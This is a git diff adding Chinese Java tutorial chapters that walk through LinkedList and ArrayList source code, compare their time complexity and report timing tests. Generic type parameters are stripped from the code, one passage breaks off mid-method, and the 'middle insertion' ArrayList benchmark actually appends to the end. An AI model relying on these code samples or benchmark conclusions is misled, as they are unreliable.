linkLast(E e) { + final Node l = last; + final Node newNode = new Node<>(l, e, null); + last = newNode; + if (l == null) + first = newNode; + else + l.next = newNode; + size++; + modCount++; +} +``` + +- 添加第一个元素的时候,first 和 last 都为 null。 +- 然后新建一个节点 newNode,它的 prev 和 next 也为 null。 +- 然后把 last 和 first 都赋值为 newNode。 + +此时还不能称之为链表,因为前后节点都是断裂的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/linkedlist-02.png) + +- 添加第二个元素的时候,first 和 last 都指向的是第一个节点。 +- 然后新建一个节点 newNode,它的 prev 指向的是第一个节点,next 为 null。 +- 然后把第一个节点的 next 赋值为 newNode。 + +此时的链表还不完整。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/linkedlist-03.png) + +- 添加第三个元素的时候,first 指向的是第一个节点,last 指向的是最后一个节点。 +- 然后新建一个节点 newNode,它的 prev 指向的是第二个节点,next 为 null。 +- 然后把第二个节点的 next 赋值为 newNode。 + +此时的链表已经完整了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/linkedlist-04.png) + +我这个增的招式,还可以演化成另外两个: + +- `addFirst()` 方法将元素添加到第一位; +- `addLast()` 方法将元素添加到末尾。 + +addFirst 内部其实调用的是 linkFirst: + +```java +public void addFirst(E e) { + linkFirst(e); +} +``` + +linkFirst 负责把新的节点设为 first,并将新的 first 的 next 更新为之前的 first。 + +```java +private void linkFirst(E e) { + final Node f = first; + final Node newNode = new Node<>(null, e, f); + first = newNode; + if (f == null) + last = newNode; + else + f.prev = newNode; + size++; + modCount++; +} +``` + +addLast 的内核其实和 addFirst 差不多,就交给大家自行理解了。 + + +**2)招式二:删** + +我这个删的招式还挺多的: + +- `remove()`:删除第一个节点 +- `remove(int)`:删除指定位置的节点 +- `remove(Object)`:删除指定元素的节点 +- `removeFirst()`:删除第一个节点 +- `removeLast()`:删除最后一个节点 + +remove 内部调用的是 removeFirst,所以这两个招式的功效一样。 + +`remove(int)` 内部其实调用的是 unlink 方法。 + +```java +public E remove(int index) { + checkElementIndex(index); + return unlink(node(index)); +} +``` + +unlink 方法其实很好理解,就是更新当前节点的 next 和 prev,然后把当前节点上的元素设为 null。 + +```java +E unlink(Node x) { + // assert x != null; + final E element = x.item; + final Node next = x.next; + final Node prev = x.prev; + + if (prev == null) { + first = next; + } else { + prev.next = next; + x.prev = null; + } + + if (next == null) { + last = prev; + } else { + next.prev = prev; + x.next = null; + } + + x.item = null; + size--; + modCount++; + return element; +} +``` + +remove(Object) 内部也调用了 unlink 方法,只不过在此之前要先找到元素所在的节点: + +```java +public boolean remove(Object o) { + if (o == null) { + for (Node x = first; x != null; x = x.next) { + if (x.item == null) { + unlink(x); + return true; + } + } + } else { + for (Node x = first; x != null; x = x.next) { + if (o.equals(x.item)) { + unlink(x); + return true; + } + } + } + return false; +} +``` + +这内部就分为两种,一种是元素为 null 的时候,必须使用 == 来判断;一种是元素为非 null 的时候,要使用 equals 来判断。equals 是不能用来判 null 的,会抛出 NPE 错误。 + +removeFirst 内部调用的是 unlinkFirst 方法: + +```java +public E removeFirst() { + final Node f = first; + if (f == null) + throw new NoSuchElementException(); + return unlinkFirst(f); +} +``` + +unlinkFirst 负责的就是把第一个节点毁尸灭迹,并且捎带把后一个节点的 prev 设为 null。 + +```java +private E unlinkFirst(Node f) { + // assert f == first && f != null; + final E element = f.item; + final Node next = f.next; + f.item = null; + f.next = null; // help GC + first = next; + if (next == null) + last = null; + else + next.prev = null; + size--; + modCount++; + return element; +} +``` + +**3)招式三:改** + +可以调用 `set()` 方法来更新元素: + +```java +list.set(0, "沉默王五"); +``` + +来看一下 `set()` 方法: + +```java +public E set(int index, E element) { + checkElementIndex(index); + Node x = node(index); + E oldVal = x.item; + x.item = element; + return oldVal; +} +``` + +首先对指定的下标进行检查,看是否越界;然后根据下标查找原有的节点: + +```java +Node node(int index) { + // assert isElementIndex(index); + + if (index < (size >> 1)) { + Node x = first; + for (int i = 0; i < index; i++) + x = x.next; + return x; + } else { + Node x = last; + for (int i = size - 1; i > index; i--) + x = x.prev; + return x; + } +} +``` + +`size >> 1`:也就是右移一位,相当于除以 2。对于计算机来说,移位比除法运算效率更高,因为数据在计算机内部都是二进制存储的。 + +换句话说,node 方法会对下标进行一个初步判断,如果靠近前半截,就从下标 0 开始遍历;如果靠近后半截,就从末尾开始遍历。 + +找到指定下标的节点就简单了,直接把原有节点的元素替换成新的节点就 OK 了,prev 和 next 都不用改动。 + +**4)招式四:查** + +我这个查的招式可以分为两种: + +- indexOf(Object):查找某个元素所在的位置 +- get(int):查找某个位置上的元素 + +indexOf 的内部分为两种,一种是元素为 null 的时候,必须使用 == 来判断;一种是元素为非 null 的时候,要使用 equals 来判断。因为 equals 是不能用来判 null 的,会抛出 NPE 错误。 + +```java +public int indexOf(Object o) { + int index = 0; + if (o == null) { + for (Node x = first; x != null; x = x.next) { + if (x.item == null) + return index; + index++; + } + } else { + for (Node x = first; x != null; x = x.next) { + if (o.equals(x.item)) + return index; + index++; + } + } + return -1; +} +``` + +get 方法的内核其实还是 node 方法,这个之前已经说明过了,这里略过。 + +```java +public E get(int index) { + checkElementIndex(index); + return node(index).item; +} +``` + +其实,查这个招式还可以演化为其他的一些,比如说: + +- `getFirst()` 方法用于获取第一个元素; +- `getLast()` 方法用于获取最后一个元素; +- `poll()` 和 `pollFirst()` 方法用于删除并返回第一个元素(两个方法尽管名字不同,但方法体是完全相同的); +- `pollLast()` 方法用于删除并返回最后一个元素; +- `peekFirst()` 方法用于返回但不删除第一个元素。 + +### 四、LinkedList 的挑战 + +说句实在话,我不是很喜欢和师兄 ArrayList 拿来比较,因为我们各自修炼的内功不同,没有孰高孰低。 + +虽然师兄经常喊我一声师弟,但我们之间其实挺和谐的。但我知道,在外人眼里,同门师兄弟,总要一较高下的。 + +比如说,我们俩在增删改查时候的时间复杂度。 + +也许这就是命运吧,从我进入师门的那天起,这种争论就一直没有停息过。 + +无论外人怎么看待我们,在我眼里,师兄永远都是一哥,我敬重他,他也愿意保护我。 \ No newline at end of file diff --git a/docs/collection/list-war-1.md b/docs/collection/list-war-1.md new file mode 100644 index 0000000000..5a74c25630 --- /dev/null +++ b/docs/collection/list-war-1.md @@ -0,0 +1,323 @@ + + +这是《Java 程序员进阶之路》专栏的第 60 篇,我们来聊聊 ArrayList 和 LinkedList 之间的区别。大家可以到 GitHub 上给二哥一个 star,马上破 400 星标了。 + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + +如果再有人给你说 “**ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快**”,你可以让他滚了! + +这是一个极其不负责任的总结,关键是你会在很多地方看到这样的结论。 + +害,我一开始学 Java 的时候,也问过一个大佬,“ArrayList 和 LinkedList 有什么区别?”他就把“ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快”甩给我了,当时觉得,大佬好牛逼啊! + +后来我研究了 ArrayList 和 LinkedList 的源码,发现还真的是,前者是数组,后者是 LinkedList,于是我对大佬更加佩服了! + +直到后来,我亲自跑程序验证了一遍,才发现大佬的结论太草率了!根本就不是这么回事! + +先来给大家普及一个概念——[时间复杂度](https://mp.weixin.qq.com/s/e7SbkEPPx1OExsAG4qV6Gw)。 + +>在计算机科学中,算法的时间复杂度(Time complexity)是一个函数,它定性描述该算法的运行时间。这是一个代表算法输入值的字符串的长度的函数。时间复杂度常用大 O 符号表述,不包括这个函数的低阶项和首项系数。使用这种方式时,时间复杂度可被称为是渐近的,亦即考察输入值大小趋近无穷时的情况。例如,如果一个算法对于任何大小为 n (必须比 $n_0$ 大)的输入,它至多需要 $5n^3 + 3n$ 的时间运行完毕,那么它的渐近时间复杂度是 $O(n3^)$。 + +增删改查,对应到 ArrayList 和 LinkedList,就是 add(E e)、remove(int index)、add(int index, E element)、get(int index),我来给大家一一分析下,它们对应的时间复杂度,也就明白了“ArrayList 底层是数组,查询快、增删慢;LinkedList 底层是链表,查询慢、增删快”这个结论很荒唐的原因 + +**对于 ArrayList 来说**: + + 1)`get(int index)` 方法的时间复杂度为 $O(1)$,因为是直接从底层数组根据下标获取的,和数组长度无关。 + +```java +public E get(int index) { + Objects.checkIndex(index, size); + return elementData(index); +} +``` + +这也是 ArrayList 的最大优点。 + +2)`add(E e)` 方法会默认将元素添加到数组末尾,但需要考虑到数组扩容的情况,如果不需要扩容,时间复杂度为 $O(1)$。 + +```java +public boolean add(E e) { + modCount++; + add(e, elementData, size); + return true; +} + +private void add(E e, Object[] elementData, int s) { + if (s == elementData.length) + elementData = grow(); + elementData[s] = e; + size = s + 1; +} +``` + +如果需要扩容的话,并且不是第一次(`oldCapacity > 0`)扩容的时候,内部执行的 `Arrays.copyOf()` 方法是耗时的关键,需要把原有数组中的元素复制到扩容后的新数组当中。 + +```java +private Object[] grow(int minCapacity) { + int oldCapacity = elementData.length; + if (oldCapacity > 0 || elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { + int newCapacity = ArraysSupport.newLength(oldCapacity, + minCapacity - oldCapacity, /* minimum growth */ + oldCapacity >> 1 /* preferred growth */); + return elementData = Arrays.copyOf(elementData, newCapacity); + } else { + return elementData = new Object[Math.max(DEFAULT_CAPACITY, minCapacity)]; + } +} +``` + +3)`add(int index, E element)` 方法将新的元素插入到指定的位置,考虑到需要复制底层数组(根据之前的判断,扩容的话,数组可能要复制一次),根据最坏的打算(不管需要不需要扩容,`System.arraycopy()` 肯定要执行),所以时间复杂度为 $O(n)$。 + +```java +public void add(int index, E element) { + rangeCheckForAdd(index); + modCount++; + final int s; + Object[] elementData; + if ((s = size) == (elementData = this.elementData).length) + elementData = grow(); + System.arraycopy(elementData, index, + elementData, index + 1, + s - index); + elementData[index] = element; + size = s + 1; +} +``` + +来执行以下代码,把沉默王八插入到下标为 2 的位置上。 + +```java +ArrayList list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("沉默王四"); +list.add("沉默王五"); +list.add("沉默王六"); +list.add("沉默王七"); +list.add(2, "沉默王八"); +``` +`System.arraycopy()` 执行完成后,下标为 2 的元素为沉默王四,这一点需要注意。也就是说,在数组中插入元素的时候,会把插入位置以后的元素依次往后复制,所以下标为 2 和下标为 3 的元素都为沉默王四。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/list-war-1-01.png) + +之后再通过 `elementData[index] = element` 将下标为 2 的元素赋值为沉默王八;随后执行 `size = s + 1`,数组的长度变为 7。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/list-war-1-02.png) + +4)` remove(int index)` 方法将指定位置上的元素删除,考虑到需要复制底层数组,所以时间复杂度为 $O(n)$。 + +```java +public E remove(int index) { + Objects.checkIndex(index, size); + final Object[] es = elementData; + + @SuppressWarnings("unchecked") E oldValue = (E) es[index]; + fastRemove(es, index); + + return oldValue; +} +private void fastRemove(Object[] es, int i) { + modCount++; + final int newSize; + if ((newSize = size - 1) > i) + System.arraycopy(es, i + 1, es, i, newSize - i); + es[size = newSize] = null; +} +``` + +**对于 LinkedList 来说**: + +1)`get(int index)` 方法的时间复杂度为 $O(n)$,因为需要循环遍历整个链表。 + +```java +public E get(int index) { + checkElementIndex(index); + return node(index).item; +} + +LinkedList.Node node(int index) { + // assert isElementIndex(index); + + if (index < (size >> 1)) { + LinkedList.Node x = first; + for (int i = 0; i < index; i++) + x = x.next; + return x; + } else { + LinkedList.Node x = last; + for (int i = size - 1; i > index; i--) + x = x.prev; + return x; + } +} +``` + +下标小于链表长度的一半时,从前往后遍历;否则从后往前遍历,这样从理论上说,就节省了一半的时间。 + +如果下标为 0 或者 `list.size() - 1` 的话,时间复杂度为 $O(1)$。这种情况下,可以使用 `getFirst()` 和 `getLast()` 方法。 + +```java +public E getFirst() { + final LinkedList.Node f = first; + if (f == null) + throw new NoSuchElementException(); + return f.item; +} + +public E getLast() { + final LinkedList.Node l = last; + if (l == null) + throw new NoSuchElementException(); + return l.item; +} +``` + +first 和 last 在链表中是直接存储的,所以时间复杂度为 $O(1)$。 + +2)`add(E e)` 方法默认将元素添加到链表末尾,所以时间复杂度为 $O(1)$。 + +```java +public boolean add(E e) { + linkLast(e); + return true; +} +void linkLast(E e) { + final LinkedList.Node l = last; + final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); + last = newNode; + if (l == null) + first = newNode; + else + l.next = newNode; + size++; + modCount++; +} +``` + +3)`add(int index, E element)` 方法将新的元素插入到指定的位置,需要先通过遍历查找这个元素,然后再进行插入,所以时间复杂度为 $O(n)$。 + +```java +public void add(int index, E element) { + checkPositionIndex(index); + + if (index == size) + linkLast(element); + else + linkBefore(element, node(index)); +} +``` + +如果下标为 0 或者 `list.size() - 1` 的话,时间复杂度为 $O(1)$。这种情况下,可以使用 `addFirst()` 和 `addLast()` 方法。 + +```java +public void addFirst(E e) { + linkFirst(e); +} +private void linkFirst(E e) { + final LinkedList.Node f = first; + final LinkedList.Node newNode = new LinkedList.Node<>(null, e, f); + first = newNode; + if (f == null) + last = newNode; + else + f.prev = newNode; + size++; + modCount++; +} +``` + +`linkFirst()` 只需要对 first 进行更新即可。 + +```java +public void addLast(E e) { + linkLast(e); +} + +void linkLast(E e) { + final LinkedList.Node l = last; + final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); + last = newNode; + if (l == null) + first = newNode; + else + l.next = newNode; + size++; + modCount++; +} +``` + +`linkLast()` 只需要对 last 进行更新即可。 + +需要注意的是,有些文章里面说,LinkedList 插入元素的时间复杂度近似 $O(1)$,其实是有问题的,因为 `add(int index, E element)` 方法在插入元素的时候会调用 `node(index)` 查找元素,该方法之前我们之间已经确认过了,时间复杂度为 $O(n)$,即便随后调用 `linkBefore()` 方法进行插入的时间复杂度为 $O(1)$,总体上的时间复杂度仍然为 $O(n)$ 才对。 + + +```java +void linkBefore(E e, LinkedList.Node succ) { + // assert succ != null; + final LinkedList.Node pred = succ.prev; + final LinkedList.Node newNode = new LinkedList.Node<>(pred, e, succ); + succ.prev = newNode; + if (pred == null) + first = newNode; + else + pred.next = newNode; + size++; + modCount++; +} +``` + +4)` remove(int index)` 方法将指定位置上的元素删除,考虑到需要调用 `node(index)` 方法查找元素,所以时间复杂度为 $O(n)$。 + +```java +public E remove(int index) { + checkElementIndex(index); + return unlink(node(index)); +} + +E unlink(LinkedList.Node x) { + // assert x != null; + final E element = x.item; + final LinkedList.Node next = x.next; + final LinkedList.Node prev = x.prev; + + if (prev == null) { + first = next; + } else { + prev.next = next; + x.prev = null; + } + + if (next == null) { + last = prev; + } else { + next.prev = prev; + x.next = null; + } + + x.item = null; + size--; + modCount++; + return element; +} +``` + +通过时间复杂度的比较,以及源码的分析,我相信大家在选择的时候就有了主意,对吧? + +需要注意的是,如果列表很大很大,ArrayList 和 LinkedList 在**内存**的使用上也有所不同。LinkedList 的每个元素都有更多开销,因为要存储上一个和下一个元素的地址。ArrayList 没有这样的开销。 + + +查询的时候,ArrayList 比 LinkedList 快,这是毋庸置疑的;插入和删除的时候,LinkedList 因为要遍历列表,所以并不比 ArrayList 更快。反而 ArrayList 更轻量级,不需要在每个元素上维护上一个和下一个元素的地址。 + +但是,请注意,如果 ArrayList 在增删改的时候涉及到大量的数组复制,效率就另当别论了,因为这个过程相当的耗时。 + +对于初学者来说,一般不会涉及到百万级别的数据操作,如果真的不知道该用 ArrayList 还是 LinkedList,就无脑选择 ArrayList 吧! + +------ + +这是《Java 程序员进阶之路》专栏的第 60 篇。Java 程序员进阶之路,风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点。 + + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + + +这么好的东西,还不 star 下? \ No newline at end of file diff --git a/docs/collection/list-war-2.md b/docs/collection/list-war-2.md new file mode 100644 index 0000000000..f68470e099 --- /dev/null +++ b/docs/collection/list-war-2.md @@ -0,0 +1,846 @@ + + +这是《Java 程序员进阶之路》专栏的第 61 篇,我们来继续探讨 ArrayList 和 LinkedList,这一篇比[上一篇](https://mp.weixin.qq.com/s/mjeLeNv5PKateVarZE4KQQ)更深入、更全面,源码讲解、性能考量,方方面面都有涉及到了。 + +首先必须得感谢大家,《Java 程序员进阶之路》在 GitHub 上已经突破 400 个星标了,感谢感谢,还没 star 的赶紧安排一波了,冲击 500 星标了。 + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + +### 01、ArrayList 是如何实现的? + +ArrayList 实现了 List 接口,继承了 AbstractList 抽象类。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/list-war-2-01.png) + +底层是基于数组实现的,并且实现了动态扩容 + + +```java +public class ArrayList extends AbstractList + implements List, RandomAccess, Cloneable, java.io.Serializable +{ + private static final int DEFAULT_CAPACITY = 10; + transient Object[] elementData; + private int size; +} +``` + +ArrayList 还实现了 RandomAccess 接口,这是一个标记接口: + +```java +public interface RandomAccess { +} +``` + +内部是空的,标记“实现了这个接口的类支持快速(通常是固定时间)随机访问”。快速随机访问是什么意思呢?就是说不需要遍历,就可以通过下标(索引)直接访问到内存地址。 + +```java +public E get(int index) { + Objects.checkIndex(index, size); + return elementData(index); +} +E elementData(int index) { + return (E) elementData[index]; +} +``` + +ArrayList 还实现了 Cloneable 接口,这表明 ArrayList 是支持拷贝的。ArrayList 内部的确也重写了 Object 类的 `clone()` 方法。 + +```java +public Object clone() { + try { + ArrayList v = (ArrayList) super.clone(); + v.elementData = Arrays.copyOf(elementData, size); + v.modCount = 0; + return v; + } catch (CloneNotSupportedException e) { + // this shouldn't happen, since we are Cloneable + throw new InternalError(e); + } +} +``` + +ArrayList 还实现了 Serializable 接口,同样是一个标记接口: + +```java +public interface Serializable { +} +``` + +内部也是空的,标记“实现了这个接口的类支持序列化”。序列化是什么意思呢?Java 的序列化是指,将对象转换成以字节序列的形式来表示,这些字节序中包含了对象的字段和方法。序列化后的对象可以被写到数据库、写到文件,也可用于网络传输。 + +眼睛雪亮的小伙伴可能会注意到,ArrayList 中的关键字段 elementData 使用了 transient 关键字修饰,这个关键字的作用是,让它修饰的字段不被序列化。 + +这不前后矛盾吗?一个类既然实现了 Serilizable 接口,肯定是想要被序列化的,对吧?那为什么保存关键数据的 elementData 又不想被序列化呢? + +这还得从 “ArrayList 是基于数组实现的”开始说起。大家都知道,数组是定长的,就是说,数组一旦声明了,长度(容量)就是固定的,不能像某些东西一样伸缩自如。这就很麻烦,数组一旦装满了,就不能添加新的元素进来了。 + +ArrayList 不想像数组这样活着,它想能屈能伸,所以它实现了动态扩容。一旦在添加元素的时候,发现容量用满了 `s == elementData.length`,就按照原来数组的 1.5 倍(`oldCapacity >> 1`)进行扩容。扩容之后,再将原有的数组复制到新分配的内存地址上 `Arrays.copyOf(elementData, newCapacity)`。 + +```java +private void add(E e, Object[] elementData, int s) { + if (s == elementData.length) + elementData = grow(); + elementData[s] = e; + size = s + 1; +} + +private Object[] grow() { + return grow(size + 1); +} + +private Object[] grow(int minCapacity) { + int oldCapacity = elementData.length; + if (oldCapacity > 0 || elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { + int newCapacity = ArraysSupport.newLength(oldCapacity, + minCapacity - oldCapacity, /* minimum growth */ + oldCapacity >> 1 /* preferred growth */); + return elementData = Arrays.copyOf(elementData, newCapacity); + } else { + return elementData = new Object[Math.max(DEFAULT_CAPACITY, minCapacity)]; + } +} +``` + +动态扩容意味着什么?大家伙想一下。嗯,还是我来告诉大家答案吧,有点迫不及待。 + +意味着数组的实际大小可能永远无法被填满的,总有多余出来空置的内存空间。 + +比如说,默认的数组大小是 10,当添加第 11 个元素的时候,数组的长度扩容了 1.5 倍,也就是 15,意味着还有 4 个内存空间是闲置的,对吧? + +序列化的时候,如果把整个数组都序列化的话,是不是就多序列化了 4 个内存空间。当存储的元素数量非常非常多的时候,闲置的空间就非常非常大,序列化耗费的时间就会非常非常多。 + +于是,ArrayList 做了一个愉快而又聪明的决定,内部提供了两个私有方法 writeObject 和 readObject 来完成序列化和反序列化。 + +```java +private void writeObject(java.io.ObjectOutputStream s) + throws java.io.IOException { + // Write out element count, and any hidden stuff + int expectedModCount = modCount; + s.defaultWriteObject(); + + // Write out size as capacity for behavioral compatibility with clone() + s.writeInt(size); + + // Write out all elements in the proper order. + for (int i=0; i + extends AbstractSequentialList + implements List, Deque, Cloneable, java.io.Serializable +{ + transient int size = 0; + transient Node first; + transient Node last; +} +``` + + LinkedList 内部定义了一个 Node 节点,它包含 3 个部分:元素内容 item,前引用 prev 和后引用 next。代码如下所示: + +```java +private static class Node { + E item; + LinkedList.Node next; + LinkedList.Node prev; + + Node(LinkedList.Node prev, E element, LinkedList.Node next) { + this.item = element; + this.next = next; + this.prev = prev; + } +} +``` + +LinkedList 还实现了 Cloneable 接口,这表明 LinkedList 是支持拷贝的。 + +LinkedList 还实现了 Serializable 接口,这表明 LinkedList 是支持序列化的。眼睛雪亮的小伙伴可能又注意到了,LinkedList 中的关键字段 size、first、last 都使用了 transient 关键字修饰,这不又矛盾了吗?到底是想序列化还是不想序列化? + +答案是 LinkedList 想按照自己的方式序列化,来看它自己实现的 `writeObject()` 方法: + +```java +private void writeObject(java.io.ObjectOutputStream s) + throws java.io.IOException { + // Write out any hidden serialization magic + s.defaultWriteObject(); + + // Write out size + s.writeInt(size); + + // Write out all elements in the proper order. + for (LinkedList.Node x = first; x != null; x = x.next) + s.writeObject(x.item); +} +``` + +发现没?LinkedList 在序列化的时候只保留了元素的内容 item,并没有保留元素的前后引用。这样就节省了不少内存空间,对吧? + +那有些小伙伴可能就疑惑了,只保留元素内容,不保留前后引用,那反序列化的时候怎么办? + +```java +private void readObject(java.io.ObjectInputStream s) + throws java.io.IOException, ClassNotFoundException { + // Read in any hidden serialization magic + s.defaultReadObject(); + + // Read in size + int size = s.readInt(); + + // Read in all elements in the proper order. + for (int i = 0; i < size; i++) + linkLast((E)s.readObject()); +} + +void linkLast(E e) { + final LinkedList.Node l = last; + final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); + last = newNode; + if (l == null) + first = newNode; + else + l.next = newNode; + size++; + modCount++; +} +``` + +注意 for 循环中的 `linkLast()` 方法,它可以把链表重新链接起来,这样就恢复了链表序列化之前的顺序。很妙,对吧? + +和 ArrayList 相比,LinkedList 没有实现 RandomAccess 接口,这是因为 LinkedList 存储数据的内存地址是不连续的,所以不支持随机访问。 + +### 03、ArrayList 和 LinkedList 新增元素时究竟谁快? + +前面我们已经从多个维度了解了 ArrayList 和 LinkedList 的实现原理和各自的特点。那接下来,我们就来聊聊 ArrayList 和 LinkedList 在新增元素时究竟谁快? + +**1)ArrayList** + +ArrayList 新增元素有两种情况,一种是直接将元素添加到数组末尾,一种是将元素插入到指定位置。 + +添加到数组末尾的源码: + +```java +public boolean add(E e) { + modCount++; + add(e, elementData, size); + return true; +} + +private void add(E e, Object[] elementData, int s) { + if (s == elementData.length) + elementData = grow(); + elementData[s] = e; + size = s + 1; +} +``` + +很简单,先判断是否需要扩容,然后直接通过索引将元素添加到末尾。 + +插入到指定位置的源码: + +```java +public void add(int index, E element) { + rangeCheckForAdd(index); + modCount++; + final int s; + Object[] elementData; + if ((s = size) == (elementData = this.elementData).length) + elementData = grow(); + System.arraycopy(elementData, index, + elementData, index + 1, + s - index); + elementData[index] = element; + size = s + 1; +} +``` + +先检查插入的位置是否在合理的范围之内,然后判断是否需要扩容,再把该位置以后的元素复制到新添加元素的位置之后,最后通过索引将元素添加到指定的位置。这种情况是非常伤的,性能会比较差。 + +**2)LinkedList** + +LinkedList 新增元素也有两种情况,一种是直接将元素添加到队尾,一种是将元素插入到指定位置。 + +添加到队尾的源码: + +```java +public boolean add(E e) { + linkLast(e); + return true; +} +void linkLast(E e) { + final LinkedList.Node l = last; + final LinkedList.Node newNode = new LinkedList.Node<>(l, e, null); + last = newNode; + if (l == null) + first = newNode; + else + l.next = newNode; + size++; + modCount++; +} +``` + +先将队尾的节点 last 存放到临时变量 l 中(不是说不建议使用 I 作为变量名吗?Java 的作者们明知故犯啊),然后生成新的 Node 节点,并赋给 last,如果 l 为 null,说明是第一次添加,所以 first 为新的节点;否则将新的节点赋给之前 last 的 next。 + +插入到指定位置的源码: + +```java +public void add(int index, E element) { + checkPositionIndex(index); + + if (index == size) + linkLast(element); + else + linkBefore(element, node(index)); +} +LinkedList.Node node(int index) { + // assert isElementIndex(index); + + if (index < (size >> 1)) { + LinkedList.Node x = first; + for (int i = 0; i < index; i++) + x = x.next; + return x; + } else { + LinkedList.Node x = last; + for (int i = size - 1; i > index; i--) + x = x.prev; + return x; + } +} +void linkBefore(E e, LinkedList.Node succ) { + // assert succ != null; + final LinkedList.Node pred = succ.prev; + final LinkedList.Node newNode = new LinkedList.Node<>(pred, e, succ); + succ.prev = newNode; + if (pred == null) + first = newNode; + else + pred.next = newNode; + size++; + modCount++; +} +``` + +先检查插入的位置是否在合理的范围之内,然后判断插入的位置是否是队尾,如果是,添加到队尾;否则执行 `linkBefore()` 方法。 + +在执行 `linkBefore()` 方法之前,会调用 `node()` 方法查找指定位置上的元素,这一步是需要遍历 LinkedList 的。如果插入的位置靠前前半段,就从队头开始往后找;否则从队尾往前找。也就是说,如果插入的位置越靠近 LinkedList 的中间位置,遍历所花费的时间就越多。 + +找到指定位置上的元素(succ)之后,就开始执行 `linkBefore()` 方法了,先将 succ 的前一个节点(prev)存放到临时变量 pred 中,然后生成新的 Node 节点(newNode),并将 succ 的前一个节点变更为 newNode,如果 pred 为 null,说明插入的是队头,所以 first 为新节点;否则将 pred 的后一个节点变更为 newNode。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/list-war-2-03.png) + +经过源码分析以后,小伙伴们是不是在想:“好像 ArrayList 在新增元素的时候效率并不一定比 LinkedList 低啊!” + +当两者的起始长度是一样的情况下: + +- 如果是从集合的头部新增元素,ArrayList 花费的时间应该比 LinkedList 多,因为需要对头部以后的元素进行复制。 + +```java +public class ArrayListTest { + public static void addFromHeaderTest(int num) { + ArrayList list = new ArrayList(num); + int i = 0; + + long timeStart = System.currentTimeMillis(); + + while (i < num) { + list.add(0, i + "沉默王二"); + i++; + } + long timeEnd = System.currentTimeMillis(); + + System.out.println("ArrayList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class LinkedListTest { + public static void addFromHeaderTest(int num) { + LinkedList list = new LinkedList(); + int i = 0; + long timeStart = System.currentTimeMillis(); + while (i < num) { + list.addFirst(i + "沉默王二"); + i++; + } + long timeEnd = System.currentTimeMillis(); + + System.out.println("LinkedList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} +``` + +num 为 10000,代码实测后的时间如下所示: + +``` +ArrayList从集合头部位置新增元素花费的时间595 +LinkedList从集合头部位置新增元素花费的时间15 +``` + +ArrayList 花费的时间比 LinkedList 要多很多。 + +- 如果是从集合的中间位置新增元素,ArrayList 花费的时间搞不好要比 LinkedList 少,因为 LinkedList 需要遍历。 + +```java +public class ArrayListTest { + public static void addFromMidTest(int num) { + ArrayList list = new ArrayList(num); + int i = 0; + + long timeStart = System.currentTimeMillis(); + while (i < num) { + int temp = list.size(); + list.add(temp / 2 + "沉默王二"); + i++; + } + long timeEnd = System.currentTimeMillis(); + + System.out.println("ArrayList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} + +public class LinkedListTest { + public static void addFromMidTest(int num) { + LinkedList list = new LinkedList(); + int i = 0; + long timeStart = System.currentTimeMillis(); + while (i < num) { + int temp = list.size(); + list.add(temp / 2, i + "沉默王二"); + i++; + } + long timeEnd = System.currentTimeMillis(); + + System.out.println("LinkedList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} +``` + +num 为 10000,代码实测后的时间如下所示: + +``` +ArrayList从集合中间位置新增元素花费的时间1 +LinkedList从集合中间位置新增元素花费的时间101 +``` + +ArrayList 花费的时间比 LinkedList 要少很多很多。 + +- 如果是从集合的尾部新增元素,ArrayList 花费的时间应该比 LinkedList 少,因为数组是一段连续的内存空间,也不需要复制数组;而链表需要创建新的对象,前后引用也要重新排列。 + +```java +public class ArrayListTest { + public static void addFromTailTest(int num) { + ArrayList list = new ArrayList(num); + int i = 0; + + long timeStart = System.currentTimeMillis(); + + while (i < num) { + list.add(i + "沉默王二"); + i++; + } + + long timeEnd = System.currentTimeMillis(); + + System.out.println("ArrayList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} + +public class LinkedListTest { + public static void addFromTailTest(int num) { + LinkedList list = new LinkedList(); + int i = 0; + long timeStart = System.currentTimeMillis(); + while (i < num) { + list.add(i + "沉默王二"); + i++; + } + long timeEnd = System.currentTimeMillis(); + + System.out.println("LinkedList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart)); + } +} +``` + +num 为 10000,代码实测后的时间如下所示: + +``` +ArrayList从集合尾部位置新增元素花费的时间69 +LinkedList从集合尾部位置新增元素花费的时间193 +``` + +ArrayList 花费的时间比 LinkedList 要少一些。 + +这样的结论和预期的是不是不太相符?ArrayList 在添加元素的时候如果不涉及到扩容,性能在两种情况下(中间位置新增元素、尾部新增元素)比 LinkedList 好很多,只有头部新增元素的时候比 LinkedList 差,因为数组复制的原因。 + +当然了,如果涉及到数组扩容的话,ArrayList 的性能就没那么可观了,因为扩容的时候也要复制数组。 + +### 04、ArrayList 和 LinkedList 删除元素时究竟谁快? 